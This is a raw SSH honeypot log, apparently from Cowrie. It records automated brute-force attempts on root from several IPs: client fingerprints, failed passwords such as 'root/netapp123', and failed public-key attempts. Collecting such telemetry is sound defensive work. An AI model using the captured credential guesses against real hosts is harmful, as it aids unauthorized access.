{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:42.259038Z","src_ip":"154.70.102.114","session":"533037a9c779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:42.307453Z","src_ip":"43.128.106.207","session":"9b26f5c5046d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":33592,"dst_ip":"159.203.135.109","dst_port":22,"session":"eacc023d4c98","protocol":"ssh","message":"New connection: 43.134.104.184:33592 (159.203.135.109:22) [session: eacc023d4c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:51.762333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:51.766180Z","src_ip":"43.134.104.184","session":"eacc023d4c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:52.005347Z","src_ip":"43.134.104.184","session":"eacc023d4c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":56554,"dst_ip":"10.17.0.5","dst_port":22,"session":"15a763b7e42a","protocol":"ssh","message":"New connection: 103.243.24.124:56554 (10.17.0.5:22) [session: 15a763b7e42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:52.201242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:52.205235Z","src_ip":"103.243.24.124","session":"15a763b7e42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:52.413425Z","src_ip":"103.243.24.124","session":"15a763b7e42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google.com","message":"login attempt [root/google.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:52.832708Z","src_ip":"103.243.24.124","session":"15a763b7e42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenyong","message":"login attempt [root/chenyong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:52.986873Z","src_ip":"43.134.104.184","session":"eacc023d4c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:54.046160Z","src_ip":"103.243.24.124","session":"15a763b7e42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:35:54.226651Z","src_ip":"43.134.104.184","session":"eacc023d4c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":51738,"dst_ip":"159.203.135.109","dst_port":22,"session":"44aa39decf93","protocol":"ssh","message":"New connection: 43.134.112.237:51738 (159.203.135.109:22) [session: 44aa39decf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:03.462224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:03.468692Z","src_ip":"43.134.112.237","session":"44aa39decf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:03.722064Z","src_ip":"43.134.112.237","session":"44aa39decf93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"subsonic","message":"login attempt [root/subsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:04.734834Z","src_ip":"43.134.112.237","session":"44aa39decf93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:05.989099Z","src_ip":"43.134.112.237","session":"44aa39decf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"44ccd1a73fed","protocol":"ssh","message":"New connection: 103.96.74.162:59722 (10.17.0.5:22) [session: 44ccd1a73fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:06.352622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:06.357394Z","src_ip":"103.96.74.162","session":"44ccd1a73fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:06.591033Z","src_ip":"103.96.74.162","session":"44ccd1a73fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"netapp123","message":"login attempt [root/netapp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:07.298341Z","src_ip":"103.96.74.162","session":"44ccd1a73fed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:08.707495Z","src_ip":"103.96.74.162","session":"44ccd1a73fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":47848,"dst_ip":"10.17.0.5","dst_port":22,"session":"92480a8e1cc6","protocol":"ssh","message":"New connection: 154.70.102.114:47848 (10.17.0.5:22) [session: 92480a8e1cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:12.298659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:12.304504Z","src_ip":"154.70.102.114","session":"92480a8e1cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:12.513457Z","src_ip":"154.70.102.114","session":"92480a8e1cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pencil123","message":"login attempt [root/pencil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:13.363511Z","src_ip":"154.70.102.114","session":"92480a8e1cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:14.571300Z","src_ip":"154.70.102.114","session":"92480a8e1cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.95.137","src_port":38292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5627b648ccbb","protocol":"ssh","message":"New connection: 184.154.95.137:38292 (10.17.0.5:22) [session: 5627b648ccbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:21.955928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:21.960876Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:21.989673Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:48:04:bb:9b:5a:97:88:f4:05:01:51:af:8f:56:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6U2Yr6DgFsrhzBEtFYQOZkPMH6i9TzeE5br7d65gqQjirKiViXmDoh6Glxcl30rrfDuNVFRbzsMtwgLm5XbHDTYd2/1heoL1FWL7ue1XVmyCInLSV0FWgEhwpnLC0KizvaYtHXufCBLGP3z0LMsEu7hExFR5YRiXRItx1DCJX0ANUYrE7EOoISa75kmI8/V1/5gn22Q4zHgSUqtddJCRFRgdEp6NftHLFGBO+pIK2yAcnHnuXiSOR6z4nOUHiT8nqrKTidDF2gNSkeQV2gkwS+EtBWW/isQyLJnnOCHRT0qz/3ebk1mC+raWo2CkpSVQw+haq3IwyY22aSygphKqP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:48:04:bb:9b:5a:97:88:f4:05:01:51:af:8f:56:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.110277Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:48:04:bb:9b:5a:97:88:f4:05:01:51:af:8f:56:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6U2Yr6DgFsrhzBEtFYQOZkPMH6i9TzeE5br7d65gqQjirKiViXmDoh6Glxcl30rrfDuNVFRbzsMtwgLm5XbHDTYd2/1heoL1FWL7ue1XVmyCInLSV0FWgEhwpnLC0KizvaYtHXufCBLGP3z0LMsEu7hExFR5YRiXRItx1DCJX0ANUYrE7EOoISa75kmI8/V1/5gn22Q4zHgSUqtddJCRFRgdEp6NftHLFGBO+pIK2yAcnHnuXiSOR6z4nOUHiT8nqrKTidDF2gNSkeQV2gkwS+EtBWW/isQyLJnnOCHRT0qz/3ebk1mC+raWo2CkpSVQw+haq3IwyY22aSygphKqP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.114165Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:23:01:49:4e:0a:3c:0f:1c:78:5e:80:af:83:89:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC07sp92CDO69p1HEFIPHm0l0quDqw3IeXGYgHP8itUnwvEqwrKjxaxer5ivx3Y5Hb0lAiWBmAle4QMbJyg/i1UYsTExHCBbzKW7FQ8M+ljCh24+oj6HQuMSu36u0xzm9iAVFPGM1BltMl/HkDNBaDP+fm0pkua8jY/ami62iD6wP7bds64kwf2a8gJ4Fwx7cisvutQgrA3Sk/OBhXoS/B4E4W0cO/0bxy+ZQ+H/eILlpg0gyUO4iNYp+UqBWR9ULyAH0dN/H8hXizGrf0HloPYrkj+Z6hSr4YHRp4elSFlWxrkDG9XKlpAPY47b8/Rt0AxiBUVPBzjF62fMBUw+fEP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:23:01:49:4e:0a:3c:0f:1c:78:5e:80:af:83:89:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.144260Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:23:01:49:4e:0a:3c:0f:1c:78:5e:80:af:83:89:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC07sp92CDO69p1HEFIPHm0l0quDqw3IeXGYgHP8itUnwvEqwrKjxaxer5ivx3Y5Hb0lAiWBmAle4QMbJyg/i1UYsTExHCBbzKW7FQ8M+ljCh24+oj6HQuMSu36u0xzm9iAVFPGM1BltMl/HkDNBaDP+fm0pkua8jY/ami62iD6wP7bds64kwf2a8gJ4Fwx7cisvutQgrA3Sk/OBhXoS/B4E4W0cO/0bxy+ZQ+H/eILlpg0gyUO4iNYp+UqBWR9ULyAH0dN/H8hXizGrf0HloPYrkj+Z6hSr4YHRp4elSFlWxrkDG9XKlpAPY47b8/Rt0AxiBUVPBzjF62fMBUw+fEP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.151400Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:46:59:91:58:ba:b1:2b:4d:ff:cb:cd:bc:27:ff:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdLZmoe4kDyGSUESUEKZZoKVMYf1n8VH9297yjzbb9rb6tdmrnYPEOIf/CQS/YWsaI+MqwyzkPLCuNcCKin/R979Q4ut8YET6DsBegpcflzxTF9vPWkPLF3G47yIPO3yNy1zWdrVS7ic28aiGraJXfsKslIX1a5ZHuttTkwojOSkQURibtnkP7KAmU7gth1PGRRuVMGilAVtPg+wR5DzrVrekWdLoV7b/QBsxM0N3XYscM5nAaBUMfMqoi4tQ9d8OPhh6o3nF21e4KJmhLyxnjUZPZ4pitpu77yPOqL2SeYy8TGhSYX7Gu1u4us7sLBI4yngSbGvyyHUeXTYsWOP73","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:46:59:91:58:ba:b1:2b:4d:ff:cb:cd:bc:27:ff:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.183833Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:46:59:91:58:ba:b1:2b:4d:ff:cb:cd:bc:27:ff:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdLZmoe4kDyGSUESUEKZZoKVMYf1n8VH9297yjzbb9rb6tdmrnYPEOIf/CQS/YWsaI+MqwyzkPLCuNcCKin/R979Q4ut8YET6DsBegpcflzxTF9vPWkPLF3G47yIPO3yNy1zWdrVS7ic28aiGraJXfsKslIX1a5ZHuttTkwojOSkQURibtnkP7KAmU7gth1PGRRuVMGilAVtPg+wR5DzrVrekWdLoV7b/QBsxM0N3XYscM5nAaBUMfMqoi4tQ9d8OPhh6o3nF21e4KJmhLyxnjUZPZ4pitpu77yPOqL2SeYy8TGhSYX7Gu1u4us7sLBI4yngSbGvyyHUeXTYsWOP73","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.188797Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:c6:73:d5:ce:39:71:f3:89:fc:46:d7:94:e6:d8:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEJ0t9csRHczc48dTlsjvh50C8oykiG4e3UhExvz96dvjPAAWx3lBOiUr1cA9v8U59pjMzeOdbip/VmIHJfHq/KSJbUWlGhgsjcdHAjc0lTwq0N2K/uYkD7dEij/KepdB8J5iFuuxsTCIBXIBxHmpgu6fXzjTEwqZEWXiThdnv8xkarg71ArVrKlbPd5nZ+Ja52EMqzO9RLbvW5VCYify+C5d34Qq6P3ca/p8luFwulbvEoYWqlGXebH7w9c6S2aQbhGu/qFOnE+9xD5PAAnxjvlZ6GctKeL0ERfxKtlzqn2n04c6o7sC8pSPVdKQ+UTbhHdRf1DQ1IGyy83tFYKjn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:c6:73:d5:ce:39:71:f3:89:fc:46:d7:94:e6:d8:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.221703Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
